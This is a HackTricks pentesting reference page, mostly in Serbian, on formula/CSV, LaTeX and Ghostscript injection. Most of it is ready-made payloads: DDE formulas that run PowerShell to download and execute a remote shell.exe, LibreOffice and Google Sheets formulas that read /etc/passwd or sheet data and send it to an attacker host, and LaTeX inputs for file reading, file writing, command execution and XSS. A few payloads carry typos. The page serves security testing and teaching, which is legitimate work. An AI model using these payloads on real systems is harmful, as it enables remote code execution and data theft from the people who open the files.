hacktricks/pentesting-web/formula-csv-doc-latex-ghostscript-injection.md

11 KiB
Raw Permalink Blame History

Formula/CSV/Doc/LaTeX/GhostScript Injection

{% hint style="success" %} Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks
{% endhint %}

Formula Injection

Info

Ako je vaš ulaz reflektovan unutar CSV datoteka (ili bilo koje druge datoteke koja će verovatno biti otvorena u Excelu), možda ćete moći da stavite formule u Excelu koje će biti izvršene kada korisnik otvori datoteku ili kada korisnik klikne na neki link unutar Excel tabele.

{% hint style="danger" %} Danas Excel će upozoriti (više puta) korisnika kada se nešto učita izvan Excela kako bi ga sprečio da preduzme maliciozne radnje. Stoga, poseban napor u socijalnom inženjeringu mora biti primenjen na konačni payload. {% endhint %}

Wordlist

DDE ("cmd";"/C calc";"!A0")A0
@SUM(1+9)*cmd|' /C calc'!A0
=10+20+cmd|' /C calc'!A0
=cmd|' /C notepad'!'A1'
=cmd|'/C powershell IEX(wget attacker_server/shell.exe)'!A0
=cmd|'/c rundll32.exe \\10.0.0.1\3\2\1.dll,0'!_xlbgnm.A1

Sledeći primer je veoma koristan za eksfiltraciju sadržaja iz konačnog excel lista i za slanje zahteva na proizvoljne lokacije. Ali zahteva da korisnik klikne na link (i prihvati upozorenja).

Sledeći primer je preuzet sa https://payatu.com/csv-injection-basic-to-exploit

Zamislite bezbednosni propust u sistemu za upravljanje podacima o studentima koji se eksploatiše putem napada CSV injekcijom. Primarna namera napadača je da kompromituje sistem koji koriste nastavnici za upravljanje podacima o studentima. Metoda uključuje napadača koji ubacuje zloćudni payload u aplikaciju, posebno tako što unosi štetne formule u polja namenjena podacima o studentima. Napad se odvija na sledeći način:

  1. Injekcija Zloćudnog Payload-a:
  • Napadač šalje obrazac za podatke o studentu, ali uključuje formulu koja se obično koristi u tabelama (npr., =HYPERLINK("<malicious_link>","Click here")).
  • Ova formula je dizajnirana da kreira hyperlink, ali upućuje na zloćudni server koji kontroliše napadač.
  1. Izvoz Kompromitovanih Podataka:
  • Nastavnici, nesvesni kompromitacije, koriste funkcionalnost aplikacije da izvezu podatke u CSV datoteku.
  • CSV datoteka, kada se otvori, i dalje sadrži zloćudni payload. Ovaj payload se pojavljuje kao klikabilni hyperlink u tabeli.
  1. Pokretanje Napada:
  • Nastavnik klikne na hyperlink, verujući da je to legitimni deo podataka o studentu.
  • Nakon klika, osetljivi podaci (potencijalno uključujući detalje iz tabele ili računara nastavnika) se šalju na server napadača.
  1. Zapisivanje Podataka:
  • Server napadača prima i beleži osetljive podatke poslati sa računara nastavnika.
  • Napadač može zatim koristiti ove podatke za razne zloćudne svrhe, dodatno kompromitujući privatnost i bezbednost studenata i institucije.

RCE

Proverite originalni post za više detalja.

U specifičnim konfiguracijama ili starijim verzijama Excela, funkcija pod nazivom Dinamička razmena podataka (DDE) može se iskoristiti za izvršavanje proizvoljnih komandi. Da bi se to iskoristilo, sledeće postavke moraju biti omogućene:

  • Idite na File → Options → Trust Center → Trust Center Settings → External Content, i omogućite Pokretanje DDE servera.

Kada se otvori tabela sa zloćudnim payload-om (i ako korisnik prihvati upozorenja), payload se izvršava. Na primer, da pokrene aplikaciju kalkulator, payload bi bio:

=cmd|' /C calc'!xxx

Dodatne komande takođe mogu biti izvršene, kao što je preuzimanje i izvršavanje datoteke koristeći PowerShell:

=cmd|' /C powershell Invoke-WebRequest "http://www.attacker.com/shell.exe" -OutFile "$env:Temp\shell.exe"; Start-Process "$env:Temp\shell.exe"'!A1

Local File Inclusion (LFI) in LibreOffice Calc

LibreOffice Calc se može koristiti za čitanje lokalnih fajlova i exfiltraciju podataka. Evo nekoliko metoda:

  • Čitanje prve linije iz lokalnog /etc/passwd fajla: ='file:///etc/passwd'#$passwd.A1
  • Exfiltracija pročitanih podataka na server pod kontrolom napadača: =WEBSERVICE(CONCATENATE("http://<attacker IP>:8080/",('file:///etc/passwd'#$passwd.A1)))
  • Exfiltracija više od jedne linije: =WEBSERVICE(CONCATENATE("http://<attacker IP>:8080/",('file:///etc/passwd'#$passwd.A1)&CHAR(36)&('file:///etc/passwd'#$passwd.A2)))
  • DNS exfiltracija (slanje pročitanih podataka kao DNS upita na DNS server pod kontrolom napadača): =WEBSERVICE(CONCATENATE((SUBSTITUTE(MID((ENCODEURL('file:///etc/passwd'#$passwd.A19)),1,41),"%","-")),".<attacker domain>"))

Google Sheets for Out-of-Band (OOB) Data Exfiltration

Google Sheets nudi funkcije koje se mogu iskoristiti za OOB exfiltraciju podataka:

  • CONCATENATE: Spaja stringove - =CONCATENATE(A2:E2)
  • IMPORTXML: Uvozi podatke iz strukturiranih tipova podataka - =IMPORTXML(CONCAT("http://<attacker IP:Port>/123.txt?v=", CONCATENATE(A2:E2)), "//a/a10")
  • IMPORTFEED: Uvozi RSS ili ATOM feedove - =IMPORTFEED(CONCAT("http://<attacker IP:Port>//123.txt?v=", CONCATENATE(A2:E2)))
  • IMPORTHTML: Uvozi podatke iz HTML tabela ili listi - =IMPORTHTML (CONCAT("http://<attacker IP:Port>/123.txt?v=", CONCATENATE(A2:E2)),"table",1)
  • IMPORTRANGE: Uvozi opseg ćelija iz druge tabele - =IMPORTRANGE("https://docs.google.com/spreadsheets/d/[Sheet_Id]", "sheet1!A2:E2")
  • IMAGE: Umeće sliku u ćeliju - =IMAGE("https://<attacker IP:Port>/images/srpr/logo3w.png")

LaTeX Injection

Obično serveri koji se nalaze na internetu i konvertuju LaTeX kod u PDF koriste pdflatex.
Ovaj program koristi 3 glavna atributa za (ne)dozvoljavanje izvršavanja komandi:

  • --no-shell-escape: Onemogućava konstrukciju \write18{command}, čak i ako je omogućena u texmf.cnf fajlu.
  • --shell-restricted: Isto kao --shell-escape, ali ograničeno na 'siguran' skup predefinisanih **komandi (**Na Ubuntu 16.04 lista se nalazi u /usr/share/texmf/web2c/texmf.cnf).
  • --shell-escape: Omogućava konstrukciju \write18{command}. Komanda može biti bilo koja shell komanda. Ova konstrukcija je obično onemogućena iz bezbednosnih razloga.

Međutim, postoje i drugi načini za izvršavanje komandi, pa je veoma važno koristiti --shell-restricted kako bi se izbeglo RCE.

Read file

Možda ćete morati da prilagodite injekciju sa omotačima kao što su [ ili $.

\input{/etc/passwd}
\include{password} # load .tex file
\lstinputlisting{/usr/share/texmf/web2c/texmf.cnf}
\usepackage{verbatim}
\verbatiminput{/etc/passwd}

Čitajte datoteku sa jednim redom

\newread\file
\openin\file=/etc/issue
\read\file to\line
\text{\line}
\closein\file

Čitanje datoteke sa više redova

\newread\file
\openin\file=/etc/passwd
\loop\unless\ifeof\file
\read\file to\fileline
\text{\fileline}
\repeat
\closein\file

Napiši datoteku

\newwrite\outfile
\openout\outfile=cmd.tex
\write\outfile{Hello-world}
\closeout\outfile

Izvršenje komande

Ulaz komande će biti preusmeren na stdin, koristite privremenu datoteku da biste ga dobili.

\immediate\write18{env > output}
\input{output}

\input{|"/bin/hostname"}
\input{|"extractbb /etc/passwd > /tmp/b.tex"}

# allowed mpost command RCE
\documentclass{article}\begin{document}
\immediate\write18{mpost -ini "-tex=bash -c (id;uname${IFS}-sm)>/tmp/pwn" "x.mp"}
\end{document}

# If mpost is not allowed there are other commands you might be able to execute
## Just get the version
\input{|"bibtex8 --version > /tmp/b.tex"}
## Search the file pdfetex.ini
\input{|"kpsewhich pdfetex.ini > /tmp/b.tex"}
## Get env var value
\input{|"kpsewhich -expand-var=$HOSTNAME > /tmp/b.tex"}
## Get the value of shell_escape_commands without needing to read pdfetex.ini
\input{|"kpsewhich --var-value=shell_escape_commands > /tmp/b.tex"}

Ако добијете било какву LaTex грешку, размислите о коришћењу base64 да добијете резултат без лоших карактера.

\immediate\write18{env | base64 > test.tex}
\input{text.tex}
\input|ls|base4
\input{|"/bin/hostname"}

Cross Site Scripting

Od @EdOverflow

\url{javascript:alert(1)}
\href{javascript:alert(1)}{placeholder}

Ghostscript Injection

Proverite https://blog.redteam-pentesting.de/2023/ghostscript-overview/

Reference

{% hint style="success" %} Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Podržite HackTricks
{% endhint %}